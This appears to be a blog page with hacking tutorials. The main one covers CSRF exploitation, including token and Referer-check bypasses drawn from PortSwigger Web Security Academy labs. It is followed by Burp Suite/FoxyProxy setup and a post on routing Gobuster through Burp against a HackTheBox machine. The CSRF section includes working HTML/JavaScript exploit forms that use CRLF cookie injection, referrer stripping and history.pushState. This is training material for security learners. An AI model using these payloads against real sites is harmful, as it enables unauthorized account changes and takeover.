Hacking Tutorial

Exploiting Cross Site Request Forgery (CSRF) & Bypassing Defenses

Wondering what Cross Site Request Forgery is? Go check out my previous post on this topic at Let’s Talk Basics About Cross Site Request Forgery (CSRF).

Ready to learn more about how to exploit it? You’re in the right place. The concepts and examples shown in this post were taken from PortSwigger’s WebSecurity Academy.

Table of Contents

  • What areas in a webapp do you look to exploit with CSRF?
  • What are some basic bypass techniques?
  • What about some more advanced bypass techniques?
    • Tokens Tied to Non-Session Cookie
    • “Double Submit” CSRF Token method.
    • Referer Validation Dependent on Present Referer Header
    • Referer Validation Only Checks if Domain Name is Present

What areas in a webapp do you look to exploit with CSRF?

Anywhere there might be a PUT request on the back-end. You are able to exploit this with a GET request as well, but the odds of finding this in the wild are very small as most devs know better by now.

  • Check the account page and see if a password change/reset might be vulnerable.
  • Perhaps a place where you can input your own email to send a recovery link?
  • Then I start looking for input fields to input XSS as they are sometimes chainable. For example, if an admin can post on a message board, but nobody else can, perhaps we can use XSRF to post a XSS payload on the message board for us.

What are some basic bypass techniques?

Since most mitigation techniques have to do with placing a unique token, bypassing this token requirement may be simple if they do not implement good validation on the other side.

  • What happens if we delete the value within the token parameter?
  • What happens if we delete the entire parameter including the value?
  • What happens if we replace the existing token with one of a different value that has the same length?
  • What happens if we convert our POST request into a GET request?Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

Basic Exploit Code:

When there are no defenses in play, or one of the defense methods listed above, it is relatively easy to exploit CSRF using a simple HTML template. Obviously you’ll want to replace the placeholders with the accurate values. Host this code up on your exploit server and wait for the victim to browse to the page:

<form method="$method" action="$url">
     <input type="hidden" name="$param1name" value="$param1value">
</form>
<script>
      document.forms[0].submit();
</script> 

What about some more advanced bypass techniques?

I get it, you’re over the basics and you’re up against a target that has some more difficult protections in place. Let’s up our game a bit, shall we?

Bypassing CSRF Protections: Tokens Tied to Non-Session Cookie

Some applications tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together.

This situation is harder to exploit but is still vulnerable. If the web site contains any behavior that allows an attacker to set a cookie in a victim’s browser, then an attack is possible. The attacker can log in to the application using their own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.

Proof of Concept:

In our example, we have two different user accounts to sign in with. We’ll first log in as the username Wiener and issue a “Change Email” request. Let’s take a look at a legitimate request first and observe that the webserver responds with a 302 message.

Notice how modifying the session cookie will return an Unauthorized error, indicating that we’ve been signed out.

However, modifying the csrfKey cookie returns a “Invalid CSRF Token” message. This suggests that the csrfKey cookie may not be strictly tied to the session.

To prove our theory, let’s spin up a incognito window and sign in with a 2nd user account. Let’s issue a legitimate “Change Email” request, but lets swap the csrfKey cookie and csrf parameter from the first account to the second account.

We see that the request went through with a successful 302 response. If proper validation was in place, the csrfKey cookie would be tied to the session cookie, causing this example to be rejected.

Exploit Code:

To exploit this vulnerability, we just need a way to inject a csrfKey cookie with a value that we control into the victim’s browser. Luckily for us, our example site’s search feature allows us to inject cookies.

Line 5 includes our cookie injection that will create a csrf cookie with a valid value that pairs with the csrf parameter in Line 3.

<form method="POST" action="https://ac1a1faf1f72be7c80d80d67002b00c9.web-security-academy.net/email/change-email">
     <input type="hidden" name="email" value="hacked@hax.com">
     <input type="hidden" name="csrf" value="AtwwO8ZSKpgUrBEkqBMIieJrCACVavFz">
</form>
 <img src="https://ac1a1faf1f72be7c80d80d67002b00c9.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=65EfxxiuOkDcp12bXTGK9eAMzxfGFasr " onerror="document.forms[0].submit()"> 

Bypassing CSRF Protections: “Double Submit” CSRF Token method.

Some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie. This is sometimes called the “double submit” defense against CSRF, and is advocated because it is simple to implement and avoids the need for any server-side state.

Example of vulnerable request:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

In the above request, it’s important to notice how the csrf session token matches the csrf parameter. When a “double submit” vulnerability exists, we simply need to inject a cookie that matches whatever csrf parameter we’re going to forge as well.

Exploit code:

In our example, the search feature on the vulnerable website allows the ability for us to inject a cookie of our choosing within the victim’s browser. Line 5 shows us injecting a csrf cookie with a value of fake. Line 3 shows us also forging a request with paramater csrf containing a matching value of fake.

<form method="POST" action="https://acb31f821e84332a809da51f00d200ce.web-security-academy.net/email/change-email">
     <input type="hidden" name="email" value="hax@hacked.com">
     <input type="hidden" name="csrf" value="fake">
</form>
<img src=" https://acb31f821e84332a809da51f00d200ce.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake " onerror="document.forms[0].submit();"/> 


The end result is we’re able to update the users email to be hax@hacked.com by bypassing the “double submit” CSRF mitigation technique.


Bypassing CSRF Protections: Referer Validation Dependent on Present Referer Header

Aside from defenses that employ CSRF tokens, some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain. Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted. What were to happen if we were to delete the referer header from the request?

Proof of concept:

In the following example, the “Change Email” forum validates the Referer header when present to ensure the request originated from the same domain. This is what a legitimate request looks like.

Notice how the validation kicks in and will reject the request when we modify the Referer header to originate from a different domain, such as fake.com.

However, deleting the Referer header in its entirety allows the request to go through.

Exploit code:

Line 4 includes the bypass to strip out the Referer header from our request.

<form method="POST" action="https://ac891f331edd33ed8007ab8500750000.web-security-academy.net/email/change-email">
     <input type="hidden" name="email" value="hacked@hax.com">
</form>
     <meta name="referrer" content="no-referrer"> 

Bypassing CSRF Protections: Referer Validation Only Checks if Domain Name is Present

Some applications validate the Referer header in a naive way that can be bypassed. For example, if the application simply validates that the Referer contains its own domain name, then the attacker can place the required value elsewhere in the URL.

Proof of concept:

Like before, we see that a legitimate request from the website returns a valid 302 response.

Also like before, modifying the Referer header to contain a domain name that differs from the legitimate one will force the server to reject the request.

However, we’re able to get a successful 302 response by simply adding web-security-academy.net as a subdomain to fake.com.

Exploit Code:

Line 5 contains the piece that allows us to modify what URL and Referer the response comes from.

<form method="POST" action="https://acc01f071ff796db8098277e00a00038.web-security-academy.net/email/change-email">
     <input type="hidden" name="email" value="hacked@hax.com">
</form>
<script>
      history.pushState("", "", "/?https://acc01f071ff796db8098277e00a00038.web-security-academy.net.fake.com/email") 
      document.forms[0].submit();
</script> 

Tips & Tricks

Setting Up BurpSuite

Once Burp loads up, there are a few things we need to configure to make our lives easier.


Installing and Configuring FoxyProxy

First, to make our lives easier, let’s install the Firefox add-in for FoxyProxy.

With the add-in installed, let’s head into the Options.

Now we can Add a new entry.

Let’s create the New Entry with the following.

Title: Burp
Proxy IP: 127.0.0.1
Port: 8080

Click Save.

With this in place, we can easily route traffic in/out of Burp without having to dive deep into Firefox’s settings.


Installing the Burp’s Certificate in Firefox

Now that we have the proxy configured, we’ll want to import Burp’s certificate so that we do not receive certificate errors while browsing the internet.

Let’s start by routing our traffic through our proxy and navigating to the following URL.

http://burpsuite/

Now we can click on CA Certificate to download the necessary der file.

With the cert file saved, lets head into Preferences and click on Options.

Head over to the Privacy settings, find the Certificates section, and click on View Certificates.

In the Certificate Manager window, find the Authorities tab. Then, select Import.

Browse to the .der file you downloaded earlier.

Enable Trust this CA to identify websites, and then click OK.


Disabling Firefox’s Captive Portal

With Firefox’s default configuration, you will see a lot of requests to http://detectportal.firefox.com.

To get rid of this, let’s head over to about:config and click Accept the Risk and Continue.

Search for network.captive-portal-service, and set the value to False.

Hacking Tutorial

How To Route Tools (Gobuster) Through a BurpSuite Proxy

There are times where you will need to troubleshoot or route your tools through a proxy in order to get the result you need. This post will serve as a general guide for configuring BurpSuite as a proxy so you can route tools through it easily, and troubleshoot things as needed.

In this specific example, we showcase how to route Gobuster through Burpsuite so we can analyze traffic.

Table of Contents:

  • Identifying the Problem
  • Configuring Proxy in BurpSuite
  • Testing the Proxy

Identifying the Problem

On HackTheBox, there is a box called Node where you can’t use Gobuster for enumeration. When you’re able to analyze requests through a tool like Burpsuite, you can identify this early on and save a ton of time by dodging a rabbit hole.

Note: This is NOT a write-up on Node. We will not be resolving the problem of enumerating Node using Gobuster, but instead will simply use Node as an example for this blog post.

Node lives at 10.10.10.58, and has a webserver listening on port 3000. Let’s start by browsing to that webpage to see what we get once we’re connected to the HackTheBox VPN.

http://10.10.10.58:3000

Anytime I see a webpage, I always like to start Gobuster to try and enumerate any directories that may be living under the hood. Let’s give that a shot.

gobuster dir -u http://10.10.10.58:3000 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Very quickly we get a response back that states “Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.58:3000/febbf4ec-069f-4b87-a671-a07ses, specify the ‘–wildcard’ switch

Specifying the --wildcard switch as it suggests in this case will just cause every page to report back with a 200 status code. Not very helpful.

gobuster dir -u http://10.10.10.58:3000 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt --wildcard


Configuring Proxy in BurpSuite

Let’s spin up BurpSuite and navigate to the Proxy tab. Let’s then go into Options, and Add a new proxy listener.

In the Binding tab, enter a Port that you’d like to use. In this case, I’ll just use 8081.

Click on the Request Handling tab. Fill out as needed.

Redirect to host: Enter the host that you wish to send traffic to. I’ll be sending my traffic to 10.10.10.58
Redirect to port: Enter the port that the host is listening on. In my case, it will be 3000.
Force use of TLS: That is not necessary in my example, but it may be a requirement for you depending on your use-case.
Support Invisible Proxying: N/A

Click OK.

The add listener screen should close, and you should be taken to the Proxy Listeners table with a new entry shown. Make sure that your new listener is Running.


Testing the Proxy

Now, let’s open a browser and see what happens when we browse to localhost on the port we specified earlier.

http://localhost:8081

Great! We know our proxy is working and we’re able to route traffic through BurpSuite. Let’s do the same, but with Gobuster this time.

gobuster dir -u http://localhost:8081 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

We notice that we are still getting the same error message. Let’s see if we can analyze this traffic within BurpSuite and identify why. Let’s head back into Burp and select the Proxy tab. Turn Intercept On.

Let’s run the same Gobuster command again. You’ll notice the tool will spin up, but then appear to hang.

gobuster dir -u http://localhost:8081 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Heading back to Burp, we have a chance to modify the request if we desire. I will go ahead and click Forward. You may need to click it a few times if multiple requests are being sent.

Gobuster still reports the same error as before, but now we have a chance to go into the HTTP History within Burp. From here, we can review the Response received from the webserver and have a chance to troubleshoot.

This proves that we are routing fully through Burp, and now have a chance to utilize some of its features while running our tools.


That’s it for this post! Again, the goal was to learn how to route tools through BurpSuite so that you can leverage all of its features. Let me know if this is at all helpful, or if there is more that you’d like me to add.